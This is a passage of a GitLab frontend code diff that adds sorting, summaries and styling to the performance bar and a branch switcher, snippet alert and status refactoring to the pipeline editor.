const initColorKey = () => d3.scaleLinear().range(['#acd5f2', '#254e77']).domain([0, 3]);
diff --git a/app/assets/javascripts/performance_bar/components/detailed_metric.vue b/app/assets/javascripts/performance_bar/components/detailed_metric.vue
index 9bf77239a6b..e5b26a00c4c 100644
--- a/app/assets/javascripts/performance_bar/components/detailed_metric.vue
+++ b/app/assets/javascripts/performance_bar/components/detailed_metric.vue
@@ -1,5 +1,8 @@
<script>
-import { GlButton, GlModal, GlModalDirective } from '@gitlab/ui';
+import { GlButton, GlModal, GlModalDirective, GlSegmentedControl } from '@gitlab/ui';
+
+import { s__ } from '~/locale';
+import { sortOrders, sortOrderOptions } from '../constants';
import RequestWarning from './request_warning.vue';
export default {
@@ -7,6 +10,7 @@ export default {
RequestWarning,
GlButton,
GlModal,
+ GlSegmentedControl,
},
directives: {
'gl-modal': GlModalDirective,
@@ -39,6 +43,7 @@ export default {
data() {
return {
openedBacktraces: [],
+ sortOrder: sortOrders.DURATION,
};
},
computed: {
@@ -48,13 +53,43 @@ export default {
metricDetails() {
return this.currentRequest.details[this.metric];
},
+ metricDetailsSummary() {
+ const summary = {};
+
+ if (!this.metricDetails.summaryOptions?.hideTotal) {
+ summary[s__('Total')] = this.metricDetails.calls;
+ }
+
+ if (!this.metricDetails.summaryOptions?.hideDuration) {
+ summary[s__('PerformanceBar|Total duration')] = this.metricDetails.duration;
+ }
+
+ return { ...summary, ...(this.metricDetails.summary || {}) };
+ },
metricDetailsLabel() {
- return this.metricDetails.duration
- ? `${this.metricDetails.duration} / ${this.metricDetails.calls}`
- : this.metricDetails.calls;
+ if (this.metricDetails.duration && this.metricDetails.calls) {
+ return `${this.metricDetails.duration} / ${this.metricDetails.calls}`;
+ } else if (this.metricDetails.calls) {
+ return this.metricDetails.calls;
+ }
+
+ return '0';
+ },
+ displaySortOrder() {
+ return (
+ this.metricDetails.details.length !== 0 &&
+ this.metricDetails.details.every((item) => item.start)
+ );
},
detailsList() {
- return this.metricDetails.details;
+ return this.metricDetails.details.map((item, index) => ({ ...item, id: index }));
+ },
+ sortedList() {
+ if (this.sortOrder === sortOrders.CHRONOLOGICAL) {
+ return this.detailsList.slice().sort(this.sortDetailChronologically);
+ }
+
+ return this.detailsList.slice().sort(this.sortDetailByDuration);
},
warnings() {
return this.metricDetails.warnings || [];
@@ -82,7 +117,17 @@ export default {
itemHasOpenedBacktrace(toggledIndex) {
return this.openedBacktraces.find((openedIndex) => openedIndex === toggledIndex) >= 0;
},
+ changeSortOrder(order) {
+ this.sortOrder = order;
+ },
+ sortDetailByDuration(a, b) {
+ return a.duration < b.duration ? 1 : -1;
+ },
+ sortDetailChronologically(a, b) {
+ return a.start < b.start ? -1 : 1;
+ },
},
+ sortOrderOptions,
};
</script>
<template>
@@ -93,18 +138,41 @@ export default {
data-qa-selector="detailed_metric_content"
>
<gl-button v-gl-modal="modalId" class="gl-mr-2" type="button" variant="link">
- <span class="gl-text-blue-300 gl-font-weight-bold">{{ metricDetailsLabel }}</span>
+ <span
+ class="gl-text-blue-200 gl-font-weight-bold"
+ data-testid="performance-bar-details-label"
+ >
+ {{ metricDetailsLabel }}
+ </span>
</gl-button>
<gl-modal :modal-id="modalId" :title="header" size="lg" footer-class="d-none" scrollable>
+ <div class="gl-display-flex gl-align-items-center gl-justify-content-space-between">
+ <div class="gl-display-flex gl-align-items-center" data-testid="performance-bar-summary">
+ <div v-for="(value, name) in metricDetailsSummary" :key="name" class="gl-pr-8">
+ <div v-if="value" data-testid="performance-bar-summary-item">
+ <div>{{ name }}</div>
+ <div class="gl-font-size-h1 gl-font-weight-bold">{{ value }}</div>
+ </div>
+ </div>
+ </div>
+ <gl-segmented-control
+ v-if="displaySortOrder"
+ data-testid="performance-bar-sort-order"
+ :options="$options.sortOrderOptions"
+ :checked="sortOrder"
+ @input="changeSortOrder"
+ />
+ </div>
+ <hr />
<table class="table gl-table">
- <template v-if="detailsList.length">
- <tr v-for="(item, index) in detailsList" :key="index">
- <td>
+ <template v-if="sortedList.length">
+ <tr v-for="item in sortedList" :key="item.id">
+ <td data-testid="performance-item-duration">
<span v-if="item.duration">{{
sprintf(__('%{duration}ms'), { duration: item.duration })
}}</span>
</td>
- <td>
+ <td data-testid="performance-item-content">
<div>
<div
v-for="(key, keyIndex) in keys"
@@ -121,12 +189,12 @@ export default {
variant="default"
icon="ellipsis_h"
size="small"
- :selected="itemHasOpenedBacktrace(index)"
+ :selected="itemHasOpenedBacktrace(item.id)"
:aria-label="__('Toggle backtrace')"
- @click="toggleBacktrace(index)"
+ @click="toggleBacktrace(item.id)"
/>
</div>
- <pre v-if="itemHasOpenedBacktrace(index)" class="backtrace-row mt-2">{{
+ <pre v-if="itemHasOpenedBacktrace(item.id)" class="backtrace-row gl-mt-3">{{
item.backtrace
}}</pre>
</div>
@@ -135,7 +203,7 @@ export default {
</template>
<template v-else>
<tr>
- <td>
+ <td data-testid="performance-bar-empty-detail-notice">
{{ sprintf(__('No %{header} for this request.'), { header: header.toLowerCase() }) }}
</td>
</tr>
@@ -146,7 +214,7 @@ export default {
<div></div>
</template>
</gl-modal>
- {{ title }}
+ <span class="gl-text-white">{{ title }}</span>
<request-warning :html-id="htmlId" :warnings="warnings" />
</div>
</template>
diff --git a/app/assets/javascripts/performance_bar/components/performance_bar_app.vue b/app/assets/javascripts/performance_bar/components/performance_bar_app.vue
index 6b446eb6073..ebe9c4eee2f 100644
--- a/app/assets/javascripts/performance_bar/components/performance_bar_app.vue
+++ b/app/assets/javascripts/performance_bar/components/performance_bar_app.vue
@@ -40,7 +40,7 @@ export default {
metric: 'active-record',
title: 'pg',
header: s__('PerformanceBar|SQL queries'),
- keys: ['sql', 'cached', 'db_role'],
+ keys: ['sql', 'cached', 'transaction', 'db_role'],
},
{
metric: 'bullet',
@@ -69,6 +69,7 @@ export default {
},
{
metric: 'external-http',
+ title: 'external',
header: s__('PerformanceBar|External Http calls'),
keys: ['label', 'code', 'proxy', 'error'],
},
@@ -135,7 +136,7 @@ export default {
<div id="peek-view-host" class="view">
<span
v-if="hasHost"
- class="current-host"
+ class="current-host gl-text-white"
:class="{ canary: currentRequest.details.host.canary }"
>
<span v-html="birdEmoji"></span>
@@ -156,16 +157,18 @@ export default {
id="peek-view-trace"
class="view"
>
- <a class="gl-text-blue-300" :href="currentRequest.details.tracing.tracing_url">{{
- s__('PerformanceBar|trace')
+ <a class="gl-text-blue-200" :href="currentRequest.details.tracing.tracing_url">{{
+ s__('PerformanceBar|Trace')
}}</a>
</div>
- <add-request v-on="$listeners" />
<div v-if="currentRequest.details" id="peek-download" class="view">
- <a class="gl-text-blue-300" :download="downloadName" :href="downloadPath">{{
+ <a class="gl-text-blue-200" :download="downloadName" :href="downloadPath">{{
s__('PerformanceBar|Download')
}}</a>
</div>
+ <a v-if="statsUrl" class="gl-text-blue-200 view" :href="statsUrl">{{
+ s__('PerformanceBar|Stats')
+ }}</a>
<request-selector
v-if="currentRequest"
:current-request="currentRequest"
@@ -173,9 +176,7 @@ export default {
class="ml-auto"
@change-current-request="changeCurrentRequest"
/>
- <div v-if="statsUrl" id="peek-stats" class="view">
- <a class="gl-text-blue-300" :href="statsUrl">{{ s__('PerformanceBar|Stats') }}</a>
- </div>
+ <add-request v-on="$listeners" />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/performance_bar/components/request_selector.vue b/app/assets/javascripts/performance_bar/components/request_selector.vue
index 5666e038f02..75fb7bbc5c5 100644
--- a/app/assets/javascripts/performance_bar/components/request_selector.vue
+++ b/app/assets/javascripts/performance_bar/components/request_selector.vue
@@ -58,12 +58,12 @@ export default {
<span v-if="request.hasWarnings">(!)</span>
</option>
</select>
- <span v-if="requestsWithWarnings.length">
+ <span v-if="requestsWithWarnings.length" class="gl-cursor-default">
<span id="performance-bar-request-selector-warning" v-html="glEmojiTag('warning')"></span>
<gl-popover
+ placement="bottom"
target="performance-bar-request-selector-warning"
:content="warningMessage"
- triggers="hover focus"
/>
</span>
</div>
diff --git a/app/assets/javascripts/performance_bar/components/request_warning.vue b/app/assets/javascripts/performance_bar/components/request_warning.vue
index b61e1e5b7a9..7fe6b088ebb 100644
--- a/app/assets/javascripts/performance_bar/components/request_warning.vue
+++ b/app/assets/javascripts/performance_bar/components/request_warning.vue
@@ -35,8 +35,8 @@ export default {
};
</script>
<template>
- <span v-if="hasWarnings">
+ <span v-if="hasWarnings" class="gl-cursor-default">
<span :id="htmlId" v-html="glEmojiTag('warning')"></span>
- <gl-popover :target="htmlId" :content="warningMessage" triggers="hover focus" />
+ <gl-popover placement="bottom" :target="htmlId" :content="warningMessage" />
</span>
</template>
diff --git a/app/assets/javascripts/performance_bar/constants.js b/app/assets/javascripts/performance_bar/constants.js
new file mode 100644
index 00000000000..9659383edd9
--- /dev/null
+++ b/app/assets/javascripts/performance_bar/constants.js
@@ -0,0 +1,17 @@
+import { s__ } from '~/locale';
+
+export const sortOrders = {
+ DURATION: 'duration',
+ CHRONOLOGICAL: 'chronological',
+};
+
+export const sortOrderOptions = [
+ {
+ value: sortOrders.DURATION,
+ text: s__('PerformanceBar|Sort by duration'),
+ },
+ {
+ value: sortOrders.CHRONOLOGICAL,
+ text: s__('PerformanceBar|Sort chronologically'),
+ },
+];
diff --git a/app/assets/javascripts/performance_bar/index.js b/app/assets/javascripts/performance_bar/index.js
index 51b6108868f..d8aab25a6a8 100644
--- a/app/assets/javascripts/performance_bar/index.js
+++ b/app/assets/javascripts/performance_bar/index.js
@@ -1,6 +1,7 @@
-/* eslint-disable @gitlab/require-i18n-strings */
import Vue from 'vue';
import axios from '~/lib/utils/axios_utils';
+import { numberToHumanSize } from '~/lib/utils/number_utils';
+import { s__ } from '~/locale';
import Translate from '~/vue_shared/translate';
import initPerformanceBarLog from './performance_bar_log';
@@ -75,40 +76,53 @@ const initPerformanceBar = (el) => {
const resourceEntries = performance.getEntriesByType('resource');
let durationString = '';
+ let summary = {};
if (navigationEntries.length > 0) {
- durationString = `${Math.round(navigationEntries[0].responseEnd)} | `;
- durationString += `${Math.round(paintEntries[1].startTime)} | `;
- durationString += ` ${Math.round(navigationEntries[0].domContentLoadedEventEnd)}`;
+ const backend = Math.round(navigationEntries[0].responseEnd);
+ const firstContentfulPaint = Math.round(paintEntries[1].startTime);
+ const domContentLoaded = Math.round(navigationEntries[0].domContentLoadedEventEnd);
+
+ summary = {
+ [s__('PerformanceBar|Backend')]: backend,
+ [s__('PerformanceBar|First Contentful Paint')]: firstContentfulPaint,
+ [s__('PerformanceBar|DOM Content Loaded')]: domContentLoaded,
+ };
+
+ durationString = `${backend} | ${firstContentfulPaint} | ${domContentLoaded}`;
}
let newEntries = resourceEntries.map(this.transformResourceEntry);
- this.updateFrontendPerformanceMetrics(durationString, newEntries);
+ this.updateFrontendPerformanceMetrics(durationString, summary, newEntries);
if ('PerformanceObserver' in window) {
// We start observing for more incoming timings
const observer = new PerformanceObserver((list) => {
newEntries = newEntries.concat(list.getEntries().map(this.transformResourceEntry));
- this.updateFrontendPerformanceMetrics(durationString, newEntries);
+ this.updateFrontendPerformanceMetrics(durationString, summary, newEntries);
});
observer.observe({ entryTypes: ['resource'] });
}
}
},
- updateFrontendPerformanceMetrics(durationString, requestEntries) {
+ updateFrontendPerformanceMetrics(durationString, summary, requestEntries) {
this.store.setRequestDetailsData(this.requestId, 'total', {
duration: durationString,
calls: requestEntries.length,
details: requestEntries,
+ summaryOptions: {
+ hideDuration: true,
+ },
+ summary,
});
},
transformResourceEntry(entry) {
- const nf = new Intl.NumberFormat();
return {
+ start: entry.startTime,
name: entry.name.replace(document.location.origin, ''),
duration: Math.round(entry.duration),
- size: entry.transferSize ? `${nf.format(entry.transferSize)} bytes` : 'cached',
+ size: entry.transferSize ? numberToHumanSize(entry.transferSize) : 'cached',
};
},
},
diff --git a/app/assets/javascripts/performance_bar/stores/performance_bar_store.js b/app/assets/javascripts/performance_bar/stores/performance_bar_store.js
index 9d12d228d35..51a8eb5ca69 100644
--- a/app/assets/javascripts/performance_bar/stores/performance_bar_store.js
+++ b/app/assets/javascripts/performance_bar/stores/performance_bar_store.js
@@ -47,10 +47,15 @@ export default class PerformanceBarStore {
}
canTrackRequest(requestUrl) {
- return (
- requestUrl.endsWith('/api/graphql') ||
- this.requests.filter((request) => request.url === requestUrl).length < 2
- );
+ // We want to store at most 2 unique requests per URL, as additional
+ // requests to the same URL probably aren't very interesting.
+ //
+ // GraphQL requests are the exception: because all GraphQL requests
+ // go to the same URL, we set a higher limit of 10 to allow
+ // capturing different queries a page may make.
+ const requestsLimit = requestUrl.endsWith('/api/graphql') ? 10 : 2;
+
+ return this.requests.filter((request) => request.url === requestUrl).length < requestsLimit;
}
static truncateUrl(requestUrl) {
diff --git a/app/assets/javascripts/persistent_user_callouts.js b/app/assets/javascripts/persistent_user_callouts.js
index c177fe25985..cadcab16f16 100644
--- a/app/assets/javascripts/persistent_user_callouts.js
+++ b/app/assets/javascripts/persistent_user_callouts.js
@@ -7,7 +7,9 @@ const PERSISTENT_USER_CALLOUTS = [
'.js-buy-pipeline-minutes-notification-callout',
'.js-token-expiry-callout',
'.js-registration-enabled-callout',
+ '.js-service-templates-deprecated-callout',
'.js-new-user-signups-cap-reached',
+ '.js-eoa-bronze-plan-banner',
];
const initCallouts = () => {
diff --git a/app/assets/javascripts/pipeline_editor/components/code_snippet_alert/code_snippet_alert.vue b/app/assets/javascripts/pipeline_editor/components/code_snippet_alert/code_snippet_alert.vue
new file mode 100644
index 00000000000..7b33d98bca0
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/components/code_snippet_alert/code_snippet_alert.vue
@@ -0,0 +1,42 @@
+<script>
+import { GlAlert } from '@gitlab/ui';
+import { CODE_SNIPPET_SOURCES, CODE_SNIPPET_SOURCE_SETTINGS } from './constants';
+
+export default {
+ name: 'CodeSnippetAlert',
+ components: {
+ GlAlert,
+ },
+ inject: ['configurationPaths'],
+ props: {
+ source: {
+ type: String,
+ required: true,
+ validator: (source) => CODE_SNIPPET_SOURCES.includes(source),
+ },
+ },
+ computed: {
+ settings() {
+ return CODE_SNIPPET_SOURCE_SETTINGS[this.source];
+ },
+ configurationPath() {
+ return this.configurationPaths[this.source];
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-alert
+ variant="tip"
+ :title="__('Code snippet copied. Insert it in the correct location in the YAML file.')"
+ :dismiss-label="__('Dismiss')"
+ :primary-button-link="settings.docsPath"
+ :primary-button-text="__('Read documentation')"
+ :secondary-button-link="configurationPath"
+ :secondary-button-text="__('Go back to configuration')"
+ v-on="$listeners"
+ >
+ {{ __('Before inserting code, be sure to read the comment that separated each code group.') }}
+ </gl-alert>
+</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/code_snippet_alert/constants.js b/app/assets/javascripts/pipeline_editor/components/code_snippet_alert/constants.js
new file mode 100644
index 00000000000..582fdfea6c9
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/components/code_snippet_alert/constants.js
@@ -0,0 +1,11 @@
+import { helpPagePath } from '~/helpers/help_page_helper';
+
+export const CODE_SNIPPET_SOURCE_URL_PARAM = 'code_snippet_copied_from';
+export const CODE_SNIPPET_SOURCE_API_FUZZING = 'api_fuzzing';
+export const CODE_SNIPPET_SOURCES = [CODE_SNIPPET_SOURCE_API_FUZZING];
+export const CODE_SNIPPET_SOURCE_SETTINGS = {
+ [CODE_SNIPPET_SOURCE_API_FUZZING]: {
+ datasetKey: 'apiFuzzingConfigurationPath',
+ docsPath: helpPagePath('user/application_security/api_fuzzing/index'),
+ },
+};
diff --git a/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue b/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue
index b088678fee8..f6e88738002 100644
--- a/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue
+++ b/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue
@@ -124,7 +124,7 @@ export default {
type="submit"
class="js-no-auto-disable"
category="primary"
- variant="success"
+ variant="confirm"
:disabled="submitDisabled"
:loading="isSaving"
>
diff --git a/app/assets/javascripts/pipeline_editor/components/editor/ci_config_merged_preview.vue b/app/assets/javascripts/pipeline_editor/components/editor/ci_config_merged_preview.vue
index f36b22f33c3..455990f2791 100644
--- a/app/assets/javascripts/pipeline_editor/components/editor/ci_config_merged_preview.vue
+++ b/app/assets/javascripts/pipeline_editor/components/editor/ci_config_merged_preview.vue
@@ -1,22 +1,15 @@
<script>
-import { GlAlert, GlIcon } from '@gitlab/ui';
+import { GlIcon } from '@gitlab/ui';
import { uniqueId } from 'lodash';
-import { __, s__ } from '~/locale';
-import { CI_CONFIG_STATUS_INVALID } from '~/pipeline_editor/constants';
-import { DEFAULT, INVALID_CI_CONFIG } from '~/pipelines/constants';
+import { s__ } from '~/locale';
import EditorLite from '~/vue_shared/components/editor_lite.vue';
export default {
i18n: {
viewOnlyMessage: s__('Pipelines|Merged YAML is view only'),
},
- errorTexts: {
- [INVALID_CI_CONFIG]: __('Your CI configuration file is invalid.'),
- [DEFAULT]: __('An unknown error occurred.'),
- },
components: {
EditorLite,
- GlAlert,
GlIcon,
},
inject: ['ciConfigPath'],
@@ -32,69 +25,30 @@ export default {
};
},
computed: {
- failure() {
- switch (this.failureType) {
- case INVALID_CI_CONFIG:
- return this.$options.errorTexts[INVALID_CI_CONFIG];
- default:
- return this.$options.errorTexts[DEFAULT];
- }
- },
fileGlobalId() {
return `${this.ciConfigPath}-${uniqueId()}`;
},
- hasError() {
- return this.failureType;
- },
- isInvalidConfiguration() {
- return this.ciConfigData.status === CI_CONFIG_STATUS_INVALID;
- },
mergedYaml() {
return this.ciConfigData.mergedYaml;
},
},
- watch: {
- ciConfigData: {
- immediate: true,
- handler() {
- if (this.isInvalidConfiguration) {
- this.reportFailure(INVALID_CI_CONFIG);
- } else if (this.hasError) {
- this.resetFailure();
- }
- },
- },
- },
- methods: {
- reportFailure(errorType) {
- this.failureType = errorType;
- },
- resetFailure() {
- this.failureType = null;
- },
- },
};
</script>
<template>
<div>
- <gl-alert v-if="hasError" variant="danger" :dismissible="false">
- {{ failure }}
- </gl-alert>
- <div v-else>
- <div class="gl-display-flex gl-align-items-center">
- <gl-icon :size="18" name="lock" use-deprecated-sizes class="gl-text-gray-500 gl-mr-3" />
- {{ $options.i18n.viewOnlyMessage }}
- </div>
- <div class="gl-mt-3 gl-border-solid gl-border-gray-100 gl-border-1">
- <editor-lite
- ref="editor"
- :value="mergedYaml"
- :file-name="ciConfigPath"
- :file-global-id="fileGlobalId"
- :editor-options="{ readOnly: true }"
- v-on="$listeners"
- />
- </div>
+ <div class="gl-display-flex gl-align-items-center">
+ <gl-icon :size="16" name="lock" class="gl-text-gray-500 gl-mr-3" />
+ {{ $options.i18n.viewOnlyMessage }}
+ </div>
+ <div class="gl-mt-3 gl-border-solid gl-border-gray-100 gl-border-1">
+ <editor-lite
+ ref="editor"
+ :value="mergedYaml"
+ :file-name="ciConfigPath"
+ :file-global-id="fileGlobalId"
+ :editor-options="{ readOnly: true }"
+ v-on="$listeners"
+ />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue b/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
index 872da88d3e6..a3410d7b837 100644
--- a/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
+++ b/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
@@ -27,7 +27,7 @@ export default {
registerCiSchema() {
const editorInstance = this.$refs.editor.getEditor();
- editorInstance.use(new CiSchemaExtension());
+ editorInstance.use(new CiSchemaExtension({ instance: editorInstance }));
editorInstance.registerCiSchema({
projectPath: this.projectPath,
projectNamespace: this.projectNamespace,
diff --git a/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue b/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue
new file mode 100644
index 00000000000..b3eba0fcc19
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue
@@ -0,0 +1,65 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlDropdownSectionHeader, GlIcon } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import { DEFAULT_FAILURE } from '~/pipeline_editor/constants';
+import getAvailableBranches from '~/pipeline_editor/graphql/queries/available_branches.graphql';
+import getCurrentBranch from '~/pipeline_editor/graphql/queries/client/current_branch.graphql';
+
+export default {
+ i18n: {
+ title: s__('Branches'),
+ fetchError: s__('Unable to fetch branch list for this project.'),
+ },
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownSectionHeader,
+ GlIcon,
+ },
+ inject: ['projectFullPath'],
+ apollo: {
+ branches: {
+ query: getAvailableBranches,
+ variables() {
+ return {
+ projectFullPath: this.projectFullPath,
+ };
+ },
+ update(data) {
+ return data.project?.repository?.branches || [];
+ },
+ error() {
+ this.$emit('showError', {
+ type: DEFAULT_FAILURE,
+ reasons: [this.$options.i18n.fetchError],
+ });
+ },
+ },
+ currentBranch: {
+ query: getCurrentBranch,
+ },
+ },
+ computed: {
+ hasBranchList() {
+ return this.branches?.length > 0;
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown v-if="hasBranchList" class="gl-ml-2" :text="currentBranch" icon="branch">
+ <gl-dropdown-section-header>
+ {{ this.$options.i18n.title }}
+ </gl-dropdown-section-header>
+ <gl-dropdown-item
+ v-for="branch in branches"
+ :key="branch.name"
+ :is-checked="currentBranch === branch.name"
+ :is-check-item="true"
+ >
+ <gl-icon name="check" class="gl-visibility-hidden" />
+ {{ branch.name }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/file_nav/pipeline_editor_file_nav.vue b/app/assets/javascripts/pipeline_editor/components/file_nav/pipeline_editor_file_nav.vue
new file mode 100644
index 00000000000..a945fc542a5
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/components/file_nav/pipeline_editor_file_nav.vue
@@ -0,0 +1,21 @@
+<script>
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import BranchSwitcher from './branch_switcher.vue';
+
+export default {
+ components: {
+ BranchSwitcher,
+ },
+ mixins: [glFeatureFlagsMixin()],
+ computed: {
+ showBranchSwitcher() {
+ return this.glFeatures.pipelineEditorBranchSwitcher;
+ },
+ },
+};
+</script>
+<template>
+ <div class="gl-mb-5">
+ <branch-switcher v-if="showBranchSwitcher" v-on="$listeners" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/header/pipeline_editor_header.vue b/app/assets/javascripts/pipeline_editor/components/header/pipeline_editor_header.vue
index 7a35e31e9ce..fefa784f060 100644
--- a/app/assets/javascripts/pipeline_editor/components/header/pipeline_editor_header.vue
+++ b/app/assets/javascripts/pipeline_editor/components/header/pipeline_editor_header.vue
@@ -31,22 +31,18 @@ export default {
},
mixins: [glFeatureFlagsMixin()],
props: {
- ciFileContent: {
- type: String,
- required: true,
- },
ciConfigData: {
type: Object,
required: true,
},
- isCiConfigDataLoading: {
+ isNewCiConfigFile: {
type: Boolean,
required: true,
},
},
computed: {
showPipelineStatus() {
- return this.glFeatures.pipelineStatusForPipelineEditor;
+ return this.glFeatures.pipelineStatusForPipelineEditor && !this.isNewCiConfigFile;
},
// make sure corners are rounded correctly depending on if
// pipeline status is rendered
@@ -61,11 +57,6 @@ export default {
<template>
<div class="gl-mb-5">
<pipeline-status v-if="showPipelineStatus" :class="$options.pipelineStatusClasses" />
- <validation-segment
- :class="validationStyling"
- :loading="isCiConfigDataLoading"
- :ci-file-content="ciFileContent"
- :ci-config="ciConfigData"
- />
+ <validation-segment :class="validationStyling" :ci-config="ciConfigData" />
</div>
</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue b/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue
index b1ea464be99..4a92e106da1 100644
--- a/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue
+++ b/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue
@@ -1,9 +1,11 @@
<script>
import { GlIcon, GlLink, GlLoadingIcon, GlSprintf } from '@gitlab/ui';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { truncateSha } from '~/lib/utils/text_utility';
import { s__ } from '~/locale';
import getCommitSha from '~/pipeline_editor/graphql/queries/client/commit_sha.graphql';
import getPipelineQuery from '~/pipeline_editor/graphql/queries/client/pipeline.graphql';
+import { toggleQueryPollingByVisibility } from '~/pipelines/components/graph/utils';
import CiIcon from '~/vue_shared/components/ci_icon.vue';
const POLL_INTERVAL = 10000;
@@ -38,13 +40,11 @@ export default {
};
},
update: (data) => {
- const { id, commitPath = '', shortSha = '', detailedStatus = {} } =
- data.project?.pipeline || {};
+ const { id, commitPath = '', detailedStatus = {} } = data.project?.pipeline || {};
return {
id,
commitPath,
- shortSha,
detailedStatus,
};
},
@@ -61,24 +61,34 @@ export default {
},
computed: {
hasPipelineData() {
- return Boolean(this.$apollo.queries.pipeline?.id);
+ return Boolean(this.pipeline?.id);
},
- isQueryLoading() {
- return this.$apollo.queries.pipeline.loading && !this.hasPipelineData;
+ pipelineId() {
+ return getIdFromGraphQLId(this.pipeline.id);
+ },
+ showLoadingState() {
+ // the query is set to poll regularly, so if there is no pipeline data
+ // (e.g. pipeline is null during fetch when the pipeline hasn't been
+ // triggered yet), we can just show the loading state until the pipeline
+ // details are ready to be fetched
+ return this.$apollo.queries.pipeline.loading || (!this.hasPipelineData && !this.hasError);
+ },
+ shortSha() {
+ return truncateSha(this.commitSha);
},
status() {
return this.pipeline.detailedStatus;
},
- pipelineId() {
- return getIdFromGraphQLId(this.pipeline.id);
- },
+ },
+ mounted() {
+ toggleQueryPollingByVisibility(this.$apollo.queries.pipeline, POLL_INTERVAL);
},
};
</script>
<template>
<div class="gl-white-space-nowrap gl-max-w-full">
- <template v-if="isQueryLoading">
+ <template v-if="showLoadingState">
<gl-loading-icon class="gl-mr-auto gl-display-inline-block" size="sm" />
<span data-testid="pipeline-loading-msg">{{ $options.i18n.fetchLoading }}</span>
</template>
@@ -88,7 +98,7 @@ export default {
</template>
<template v-else>
<a :href="status.detailsPath" class="gl-mr-auto">
- <ci-icon :status="status" :size="18" />
+ <ci-icon :status="status" :size="16" />
</a>
<span class="gl-font-weight-bold">
<gl-sprintf :message="$options.i18n.pipelineInfo">
@@ -110,7 +120,7 @@ export default {
target="_blank"
data-testid="pipeline-commit"
>
- {{ pipeline.shortSha }}
+ {{ shortSha }}
</gl-link>
</template>
</gl-sprintf>
diff --git a/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue b/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue
index 541ab74b177..d1534655a00 100644
--- a/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue
+++ b/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue
@@ -1,8 +1,13 @@
<script>
import { GlIcon, GlLink, GlLoadingIcon } from '@gitlab/ui';
import { __, s__, sprintf } from '~/locale';
+import getAppStatus from '~/pipeline_editor/graphql/queries/client/app_status.graphql';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
-import { CI_CONFIG_STATUS_VALID } from '../../constants';
+import {
+ EDITOR_APP_STATUS_EMPTY,
+ EDITOR_APP_STATUS_LOADING,
+ EDITOR_APP_STATUS_VALID,
+} from '../../constants';
export const i18n = {
empty: __(
@@ -29,47 +34,51 @@ export default {
},
},
props: {
- ciFileContent: {
- type: String,
- required: true,
- },
ciConfig: {
type: Object,
required: false,
default: () => ({}),
},
- loading: {
- type: Boolean,
- required: false,
- default: false,
+ },
+ apollo: {
+ appStatus: {
+ query: getAppStatus,
},
},
computed: {
isEmpty() {
- return !this.ciFileContent;
+ return this.appStatus === EDITOR_APP_STATUS_EMPTY;
+ },
+ isLoading() {
+ return this.appStatus === EDITOR_APP_STATUS_LOADING;
},
isValid() {
- return this.ciConfig?.status === CI_CONFIG_STATUS_VALID;
+ return this.appStatus === EDITOR_APP_STATUS_VALID;
},
icon() {
- if (this.isValid || this.isEmpty) {
- return 'check';
+ switch (this.appStatus) {
+ case EDITOR_APP_STATUS_EMPTY:
+ return 'check';
+ case EDITOR_APP_STATUS_VALID:
+ return 'check';
+ default:
+ return 'warning-solid';
}
- return 'warning-solid';
},
message() {
- if (this.isEmpty) {
- return this.$options.i18n.empty;
- } else if (this.isValid) {
- return this.$options.i18n.valid;
- }
-
- // Only display first error as a reason
const [reason] = this.ciConfig?.errors || [];
- if (reason) {
- return sprintf(this.$options.i18n.invalidWithReason, { reason }, false);
+
+ switch (this.appStatus) {
+ case EDITOR_APP_STATUS_EMPTY:
+ return this.$options.i18n.empty;
+ case EDITOR_APP_STATUS_VALID:
+ return this.$options.i18n.valid;
+ default:
+ // Only display first error as a reason
+ return this.ciConfig?.errors.length > 0
+ ? sprintf(this.$options.i18n.invalidWithReason, { reason }, false)
+ : this.$options.i18n.invalid;
}
- return this.$options.i18n.invalid;
},
},
};
@@ -77,7 +86,7 @@ export default {
<template>
<div>
- <template v-if="loading">
+ <template v-if="isLoading">
<gl-loading-icon inline />
{{ $options.i18n.loading }}
</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/lint/ci_lint.vue b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint.vue
index b27ab9a39d3..f1cf5630fbf 100644
--- a/app/assets/javascripts/pipeline_editor/components/lint/ci_lint.vue
+++ b/app/assets/javascripts/pipeline_editor/components/lint/ci_lint.vue
@@ -1,6 +1,5 @@
<script>
import { flatten } from 'lodash';
-import { CI_CONFIG_STATUS_VALID } from '../../constants';
import CiLintResults from './ci_lint_results.vue';
export default {
